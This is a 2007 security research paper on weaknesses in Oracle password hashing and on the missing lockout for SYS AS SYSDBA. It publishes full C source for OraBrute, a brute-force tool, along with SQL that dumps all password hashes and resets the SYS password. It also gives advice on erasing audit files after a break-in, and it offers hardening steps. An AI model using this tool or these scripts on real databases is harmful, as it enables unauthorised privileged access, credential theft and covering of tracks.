Oracle Passwords and OraBrute

Paul Wright [paulw@ngssoftware.com]

11th January 2007

An NGSSoftware Insight Security Research (NISR) Publication

http://www.ngssoftware.com

TABLE OF CONTENTS

1.0 INTRODUCTION

This paper will discuss the weakness of Oracle passwords and how they are implemented with reference to a number of current security issues. Lastly this paper will introduce a tool to exploit this weakness in Oracle's most privileged account.

2.0 WEAKNESS OF THE ALGORITHM

Passwords currently represent a problem for Oracle databases in a number of ways. The first problem is the design of the password algorithm which is limited by the fact that the salt is the username for that password hash. This means that two users with the same username and password on two separate Oracle databases will have the same hash. These hashes are stored in a table within Oracle called SYS.USER$ and are accessible via a number of views such as DBA_USERS.

The algorithm is explained in the FAQ of the Special Ops chapter on Oracle by David Litchfield and Aaron Newman[1]. The original posting by the algorithm's creator, Bob Baldwin, is at this URL:
http://groups.google.com/group/comp.security.misc/msg/83ae557a977fb6ed?output=gplain

The second problem is the limited character set of a standard Oracle password. Normal Oracle passwords can contain only alphanumeric characters, underscore "_", dollar sign "$" and pound/hash sign "#". The password is a maximum of 30 characters which means that the total permutations are 39 (26+10+3) to the power of 30, though it is slightly less due to these three facts:

1. Oracle discourages using "$" and "#" character in the password to avoid scripting errors.
2. The password cannot start with either "_", "$", "#" or any number.
3. The password cannot contain Oracle/SQL keywords like SELECT.

The point is that in a typical 8 character Oracle password there is not enough potential variation and due to the lack of a true salt, Oracle passwords are an easy target for password crackers.

3.0 CRACKERS TARGET ORACLE PASSWORDS

The commonly used password cracker, "John The Ripper"[2] or "JTR" has been patched to enable Oracle password cracking.
The patch is available at this URL: http://www.banquise.net/misc/patch-john.html

This patch works reasonably reliably but will be slow for complex passwords and functions intermittently on x86. The password testing process can be sped up by pre-computing the hash of every possible password. A pre-computed table correlating encrypted hashes to their plaintext password is often referred to as a Rainbow Table. As the salt is the username, a Rainbow Table for each username is required. This has been made easier by the fact that another patch has been written for Rainbow Crack [3] to enable support for easy Oracle Rainbow Table creation.

http://lists.grok.org.uk/pipermail/full-disclosure/2006-September/049569.html

There are a number of Rainbow Table projects for Oracle passwords currently under development and Rainbow Tables have been created already for many of the default Oracle users. There are already services offering translation of hash/username pairs to the clear text password e.g. http://www.rainbowcrack-online.com/ . The weakness of Oracle's password implementation has also been discussed in a paper for SANS by Wright and Cid[4].

4.0 THE RESPONSE TO RAINBOW TABLES

What this means is that users will need to make their password more difficult to crack, which is easy to do in Oracle as simply de-limiting the password in double quotes increases the choice of characters to include the additional ones below.

```
% ^ @ $ * ( ) _ + ~ ` - = [ { ] } \ | ; : ' , < . >
```

(Thanks to Tom Kyte's "Ask Tom" [5] discussion board for the above).

So we could set the password as follows:

```
SQL> alter user sys identified by "%^@$*()_+~`-=[{}\|;:,<.>";
User altered
```

This makes the permutations possible in the password beyond the current capabilities of Rainbow Tables or JTR.

There are still some problems though as the next section will show.

5.0 PENDING ORACLE PASSWORD PROBLEMS

Current issues pertaining to Oracle's password implementation include the following:

5.1 UNICODE USERNAME SALT

It is the case that a unicode username causes the salt/username to the password algorithm to consist of just "?" characters. This renders the salting mechanism nearly useless and makes creating Rainbow Tables much easier for unicode usernames in Oracle databases. This has certainly been the case in Japanese Oracle databases experienced by the NGSSoftware development team.

The NLS_LANG variable should be set to the region being used (for that OS). Oracle support at Metalink[6] informs us that NLS_LANG should be set as follows.

```
NLS_LANG=JAPANESE_JAPAN.JA16EUC
```

If this were the case then the user would not be able to set a username with Japanese characters, which would circumvent the fact that the hashing algorithm does not deal with Japanese characters correctly. The main problem is that the variable is not set by default and is often not set by the DBA therefore decreasing the security of their passwords. The above variable should be set to prevent this issue.

5.2 CLEAR TEXT PASSWORD FROM PACKET CAPTURE AND HASH

On the 27th of November 2006 a posting by David Litchfield to the DBSEC mailing list [7] showed how to gain a user's password from a combination of their password hash and a packet capture of their authentication using C code.

This is an important piece of research because there are a significant amount of DBA's in the field that rely on a complex quoted password as their main security measure. Current thinking about Rainbow Tables has been that simple passwords on known user names are beatable but complex quoted passwords with special characters are safe. This is not the case now that we have the ability to derive the password in the manner described by David.

There have been a number of ways of gaining access to the password hashes like the orapwd utility and many files at the operating system level, that are insecure by default and all give access to the hashes. SQL Injection through a Web application or privilege escalation via PL packages with Definer rights is a common way to gain unauthorised access to the password hashes. There are also user accounts that have access to the encrypted hashes which should not have access to the plain text password such as DBSNMP (with a default password of DBSNMP). DBSNMP is given the SELECT ANY CATALOG system privilege and is part of the Intelligent Agent functionality. Some users depend on the Intelligent Agent but the DBSNMP account will now need to be secured even more since anyone with access to the hashes is likely to be able to access local network packet capture of SQL*PLUS logons; from these two the password can be quickly derived using the C code previously mentioned.

Having to think about defending against some one with the DBA's legitimate password is going to be a big change for DBA's security strategies. This is going to require closer attention to securing SYS.USER$ table and network communications meaning that privileged SQL*PLUS connections will require SSH. This is the case no matter how complex the password is. In short, the hashes in USER$ should now be regarded as being close to plain text when devising a defence plan. The Oracle Hacker's Handbook[8] by David Litchfield has more explanation about this technique.

5.3 NO LOCK OUT FOR SYS AS SYSDBA

Of course many Oracle DBA's will have changed the passwords to default accounts like DBSNMP. If the account still exists with a new password the attacker could attempt brute forcing the password on connection to the database server listener. Problem with this is that the default lockout for each account is 10 failed logins and then it is locked. Guessing the password in 10 attempts should not be feasible.

However, there is one account that is not subject to the default 10 failed logins lockout, and that is the SYS account logging on AS SYSDBA.

This is the most privileged account in an Oracle database. It can do anything including starting and stopping the database, which SYS on its own cannot do. Even if SYS is locked, then SYS AS SYSDBA can still access the DB. It has been the author's experience that DBA's often do not set a complex enough password on the SYS account as they have already locked it. But by logging on as SYS AS SYSDBA it is not locked. It would be useful for a security auditor to be able to check the security of the SYS account in a time efficient manner. Alternatively for an attacker the SYS AS SYSDBA is an often overlooked method of gaining maximum privileges remotely without authorisation. The attacker would port scan the host to find the Oracle port and then run NGS SquirreL for Oracle SID guessing functionality to gain the SID. Then they could brute force the SYS AS SYSDBA account. Automating the remote brute forcing of this account is the subject of the rest of this paper.

This is the SQL*PLUS logon string that should be executed in order to logon as SYS AS SYSDBA.

```
sys/password1@orcl as sysdba    or without a tnsnames.ora
sys/password1@192.168.1.10:1521/orcl as sysdba
```

We can collect 30 of these logon statements into a batch file as below.

```
sqlplus –S –L “sys/password1@orcl as sysdba”@selectpassword.sql
sqlplus –S –L “sys/password2@orcl as sysdba”@selectpassword.sql
sqlplus –S –L “sys/password3@orcl as sysdba”@selectpassword.sql
sqlplus –S –L “sys/password4@orcl as sysdba”@selectpassword.sql
etc
```

`selectpassword.sql` contents are as follows.

```
spool passwords.txt
select username, password from sys.user$;
alter user sys identified by password;
spool off
```

This simple PoC shows that there is no lockout on SYS AS SYSDBA by default on 10gR2 and that a brute force is feasible, which is concerning given that it is the most powerful account.

6.0 BRUTE FORCING SYS AS SYSDBA ~ ORABRUTE

Interestingly SYS AS SYSDBA is not easy to access via ODBC and JDBC so programmatically automating a brute force login using password variables from a list is hampered, but a Windows console application in C can be made to call SQL*PLUS in a time efficient manner. This paper introduces OraBrute, a command line tool which will brute force the SYS AS SYSDBA account for as long as is needed. OraBrute is simple and fast so it will easily execute 10 attempts per second on an Intel 1.6GHZ laptop. OraBrute will exit when the account has been brute forced at which point it dumps the SYS.USER$ table to a local file as well as the brute forced password to Standard Out.

In order for a human being to remember their password it is usually a dictionary/number hybrid. Adding a context sensitive list to the top of password.txt will make the tool quicker in most cases. OraBrute comes with a starter password list. The C sleep function in OraBrute can be shortened down to 10-100 milliseconds by setting the <millisecondwait> parameter. This will need tuning to the network to make the tool run faster. Additionally, multiple instances of OraBrute on separate machines will speed up the process arithmetically i.e. two identical machines bruteforce the same account in half the time and so forth. From two 1.6GHZ laptops Orabrute averages approximately 2 million different password login attempts to SYS AS SYSDBA per day on the same listener. OraBrute has been found to work very reliably over long periods. Again it should be remembered that DBA’s that have locked the SYS account already, may not have set a complex SYS password or changed it recently. When OraBrute finds the correct SYS password it will dump the password hashes locally and perform what ever SQL the user requires via the selectpassword.sql script e.g change the SYS password to a known value. Details of how to run OraBrute are at the end of this paper.

Once an Attacker has gained privileged access they will need to cover their tracks. The login success will be audited by Oracle to the OS as part of its Mandatory Auditing. This could subsequently be deleted by the Attacker using UTL_FILE to navigate to the $ORACLE_HOME/rdbms/audit/audit.aud file and then overwriting the file [9].

7.0 HOW TO SECURE AGAINST ORABRUTE?

There are a number of ways to secure against the threat of brute forcing the SYS AS SYSDBA account as exemplified by OraBrute.

1. Set a very secure password for any account that can logon "AS SYSDBA" which will mean quoting the password to enable special characters in a long password/phrase.
2. Audit this password setting process with OraBrute regularly.
3. The initialization parameter `remote_login_passwordfile` controls the use of the password file for privileged connections to the database. By default it is set to EXCLUSIVE. Set this parameter to NONE to prevent privileged connections except those originating from the server using OS authentication. (Reboot)
4. Additionally "`alter system set audit_sys_operations=TRUE`" (or equivalent) and set Listener Logging from `off` to `on` using `LSNRCTL>set log_status on` . It is worth archiving these logs for future forensic analysis if and when required [10].

8.0 CONCLUSIONS

"*Why has Oracle put failed login lockout on default accounts but ommitted the most important one*?" would be a good question. It may be so the DBA cannot be locked out by an Attacker trying to brute force their account. From a design perspective lockout of SYS AS SYSDBA should not be a disaster for the DBA as they should be able to access locally via the OS as OSDBA and then unlock the SYS account that way. It will be interesting to see how 11g deals with this design issue as it appears that Oracle is already planning to change the password algorithm considerably. It is about time.
Contact paulw@ngssoftware.com if you have any feedback about OraBrute or this paper.

9.0 REFERENCES

[1] Secure OPS, Erik Pace Birkholz, Syngress Publishing, February 17, 2003
ISBN-10: 1931836698
[2] John the Ripper by Solar Designer at http://www.openwall.com/
[3] Rainbow Crack Project http://www.antsight.com/zsl/rainbowcrack/
[4] Joshua Wright and Carlos Cid 2005
http://www.sans.org/reading_room/special/index.php?id=oracle_pass
[5] Thomas Kyte's "ASK TOM" Oracle helpdesk at http://asktom.oracle.com/pls/asktom/
[6] Metalink article regarding regional environment variables.
http://www.oracle.com/technology/tech/oci/instantclient/releasenotes/ODBC_IC_ReleaseNotes.html
[7] DBSEC mailing list at freelists.org
http://www.freelists.org/archives/dbsec/11-2006/msg00005.html
[8] The Oracle Hacker's Handbook, David Litchfield, Wiley and Sons, January 2007
ISBN: 978-0-470-08022-1
http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0470080221.html
[9] Script to illustrate using UTL_FILE to overwrite an OS file
http://www.0xdeadbeef.info/exploits/raptor_orafile.sql
[10] Oracle Forensics, Paul Wright, Rampant Techpress, May 2007
http://www.rampant-books.com/book_2007_1_oracle_forensics.htm
ISBN 0-9776715-2-6

10.0 ACKNOWLEDGEMENTS

David Litchfield, Chris Anley, Rob Horton, John Heasman, Bill Grindlay, Alan Newson, David J Morgan, Peter Baker, Dominic Beecher and the Development Team at NGS have all been contributory to this paper and or OraBrute. Thanks.

11.0 SOURCE CODE FOR ORABRUTE VERSION 2.0

OraBrute => a Poc SYS AS SYSDBA brute forcer.

http://www.ngssoftware.com/research/papers/oraclepasswords.zip
http://www.ngssoftware.com/research/papers/oraclepasswords.pdf

OraBrute invocation: orabrute <hostip> <port> <sid> <millitimewait>

e.g. `c:\>orabrute 10.1.1.166 1522 orcl 100`

When OraBrute creates a file called `thepasswordsare.txt` then the SYS account password has been cracked.

This program requires the Oracle client, the compiled C code below, the `password.txt` password list as well as `selectpassword.sql` which contains the following SQL :

```
--selectpassword.sql:
spool thepasswordsare.txt
select name, password from sys.user$;
--alter user sys identified by password;
/
spool off
exit
```

Compile the following C code using `c:\>cl orabrute.cpp`

```
#include "stdio.h"
#include "windows.h"
#include "strsafe.h"

char host[17];
char port[6];
char sid[31];
char password[31];
char millitimewait[6];
DWORD dwdmillitimewait;
char executecmd[4095];

int escape(char*dest, char*src)
{
        int idest = 0, isrc = 0 ;
        while(src[isrc])
        {
                if(src[isrc] == '\"')
                {
                        dest[idest] = '\\';
                        idest ++;
                }
                dest[idest] = src[isrc];
                isrc ++;
                idest ++;
        }
        dest[idest]=0;
        return 1;
}

int main(int argc, char * argv[])
{
        SecureZeroMemory(host, sizeof( host ));
        SecureZeroMemory(port, sizeof( port ));
        SecureZeroMemory(sid, sizeof( sid ));
        SecureZeroMemory(password, sizeof( password ));
        SecureZeroMemory(millitimewait, sizeof( millitimewait ));
```

```
        FILE *pfile;
        UINT result;
        printf("Orabrute v 1.2 by Paul M. Wright, David J. Morgan and Chris Anley:\n orabrute
<hostip> <port> <sid> <millitimewait>");

        if(argc!=5)
        {
                printf("not enough arguments; command should be orabrute <hostip> <port> <sid>
<millitimewait>");
                return 0;
        }

        strncpy(host,argv[1],sizeof( host )-1);
    strncpy(port,argv[2],sizeof( port )-1);
        strncpy(sid,argv[3],sizeof( sid )-1);
        strncpy(millitimewait,argv[4],sizeof( millitimewait )-1);


        pfile=fopen("password.txt","rb");
        if(pfile!=NULL)
        {
                char buffer[4096];
                int numberofchars;
                dwdmillitimewait = atoi(millitimewait);
                do
                {
                        numberofchars = 0;
                        while( !feof(pfile) && ( numberofchars < sizeof( buffer ) - 1 ) )
                        {
                                buffer[numberofchars]=fgetc(pfile);

                                if(buffer[numberofchars]=='\n' || buffer[numberofchars]==-1)
                                {
                                        break;
                                }
                                if(buffer[numberofchars]!='\r')
                                        numberofchars++;
                        }
                        if (numberofchars<30)
                                buffer[numberofchars]=0;
                        else
                                buffer[30]=0;

                        if(strlen(buffer)>0)
                        {
                                char tmpbuffer[256];
                                char tmphost[256];
                                char tmpport[256];
                                char tmpsid[256];

                                escape(tmpbuffer, buffer);
                                escape(tmphost, host);
                                escape(tmpport, port);
                                escape(tmpsid, sid);

                                StringCchPrintf(executecmd,sizeof( executecmd ) - 1,"sqlplus.exe
-S -L \"SYS/%s@%s:%s/%s\" as sysdba @selectpassword.sql", tmpbuffer,  tmphost,  tmpport,  tmpsid);
                                printf("%s\n",executecmd);
                                result = WinExec(executecmd,SW_SHOWNORMAL);
                                Sleep(dwdmillitimewait);
                                FILE *poutputfile;
                                poutputfile=fopen("thepasswordsare.txt","r");
                                if (poutputfile != NULL)
                                {
                                        char buffer[4096];
                                        size_t count ;
                                        count =fread(buffer,1,sizeof( buffer ) - 1,poutputfile);
                                        fclose(poutputfile);
                                        buffer[count]=0;
                                        printf("%s\n",buffer);
                                        printf("You will need to delete or move
thepasswordsare.txt file before running again.");
                                        return 0;
                                }
                        }

                }while(!feof(pfile));
                fclose(pfile);
        }
        return 0;
}
```

// EOF